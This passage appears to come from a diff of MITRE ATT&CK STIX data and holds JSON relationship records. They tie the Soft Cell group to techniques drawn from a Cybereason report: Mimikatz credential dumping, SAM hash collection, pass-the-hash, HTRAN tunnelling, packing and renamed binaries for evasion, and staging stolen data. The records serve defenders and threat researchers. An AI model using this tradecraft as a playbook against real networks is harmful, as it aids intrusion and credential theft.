[Mimikatz](https://attack.mitre.org/software/S0002) to dump credentials on the victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.304Z", + "id": "relationship--7adea746-109e-41c2-bf48-20e0282038a0", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.901Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used ipconfig /all to obtain information about the victim network configuration. The group also ran a modified version of nbtscan to identify available NetBIOS name servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.311Z", + "id": "relationship--b10df154-0c2a-4159-ac0a-1bdaa78f56cb", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.921Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used netstat -oan to obtain information about the victim network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.326Z", + "id": "relationship--a29a37fc-86e2-4b93-8fa5-560b0a395fbc", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.943Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used whoami and query user to obtain information about the victim user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.330Z", + "id": "relationship--aa64ee12-ae96-40fe-ba37-a8893cd321ec", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.941Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.420Z", + "id": "relationship--3b86d8fe-5677-4516-bf77-898e4da6171f", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.131Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.446Z", + "id": "relationship--b0a6e22f-adad-4625-b07d-996221cf3a50", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.136Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.448Z", + "id": "relationship--b3295bb6-356b-4f8e-b921-ec96d249c66b", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.318Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.452Z", + "id": "relationship--8f66e226-ecc4-408d-becb-4e9ad9c66b57", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.329Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.473Z", + "id": "relationship--109c7cc7-fec6-4d86-ae27-087cddb2670c", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.325Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) dropped additional tools to victims during their operation, including portqry.exe, a renamed cmd.exe file, winrar, and [HTRAN](https://attack.mitre.org/software/S0040).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:49:44.657Z", + "id": "relationship--e1268feb-9326-40e1-b05b-fd8e0068488a", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a renamed cmd.exe file to evade detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:49:44.670Z", + "id": "relationship--f8517b42-4d52-417a-a5dc-cbfb2a31930b", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.976Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) established persistence for [PoisonIvy](https://attack.mitre.org/software/S0012) by created a scheduled task.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:49:44.677Z", + "id": "relationship--272c29eb-9f83-4a90-a9b2-e823182204a7", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:49:44.829Z", + "id": "relationship--090c11ed-8235-4c05-b553-749ee6497b0a", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.326Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:49:44.835Z", + "id": "relationship--b68c8dc2-e3da-4ce8-aef3-456b160e7fb5", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.330Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:49:44.837Z", + "id": "relationship--4e1a2f47-7aad-4402-884d-8921a6a88822", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.380Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) packed some payloads using different types of packers, both known and custom.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:23.994Z", + "id": "relationship--5d8315ce-3c76-4b78-8d6a-f0b7b101bcc0", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) to redirect connections between networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:24.011Z", + "id": "relationship--a084527d-2858-4037-bc48-68c1eac85acb", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.030Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:24.018Z", + "id": "relationship--2bff8dad-2ef1-485c-8c0b-62a5ba4c384b", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.023Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:24.029Z", + "id": "relationship--a68d8191-b374-4741-a249-1db3515d581b", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.025Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used winrar to compress and encrypt stolen data prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:24.040Z", + "id": "relationship--86246bef-ad4c-4c30-805a-d6f1928a7c20", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.027Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used winrar to compress and encrypt stolen data prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:24.050Z", + "id": "relationship--1a8cff11-b88e-439b-bcd4-bb5e74ed9d97", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:24.238Z", + "id": "relationship--5b271a21-d91f-489b-b6a1-b223a9094df5", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.373Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:24.248Z", + "id": "relationship--96db4cd3-0493-4944-b47c-15b7db6f0010", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.374Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:14:24.241Z", + "id": "relationship--058ed2a0-4419-437e-9f3b-4df97f917e8f", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) established VPN access into victim environments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:27:02.518Z", + "id": "relationship--57b4f42b-02e2-4cee-98f0-d6935c1e2c7b", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.085Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of nbtscan to identify available NetBIOS name servers over the network as well as ping to identify remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:27:02.530Z", + "id": "relationship--ea71022e-7f2a-4065-9cb1-304f85dbaf6d", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.087Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T17:27:02.775Z", + "id": "relationship--0a20969e-c201-47cd-ac08-8e1a9c764512", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.376Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T18:55:09.586Z", + "id": "relationship--2b631dee-68bd-4ae6-92fc-b3224d471890", + "source_ref": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d", + "modified": "2019-07-19T18:55:09.586Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) collected data from the victim's local system, including password hashes from the SAM hive in the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-22T15:35:24.351Z", + "id": "relationship--38be247c-74b0-42f3-964e-5f23ef42a353", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.092Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used dumped hashes to authenticate to other machines via pass the hash.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-22T15:35:24.363Z", + "id": "relationship--ee4d1b24-603f-40df-8f21-3c053fba275f", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.090Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) ensured each payload had a unique hash, including by using different types of packers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-22T15:35:24.376Z", + "id": "relationship--919f6143-eb8c-48cd-8741-118040c372ab", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:29.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used Web shells and [HTRAN](https://attack.mitre.org/software/S0040) for C2 as well as to exfiltrate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-22T15:49:28.744Z", + "id": "relationship--380743e5-616c-4524-96e6-d545e5b653ea", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.744Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). 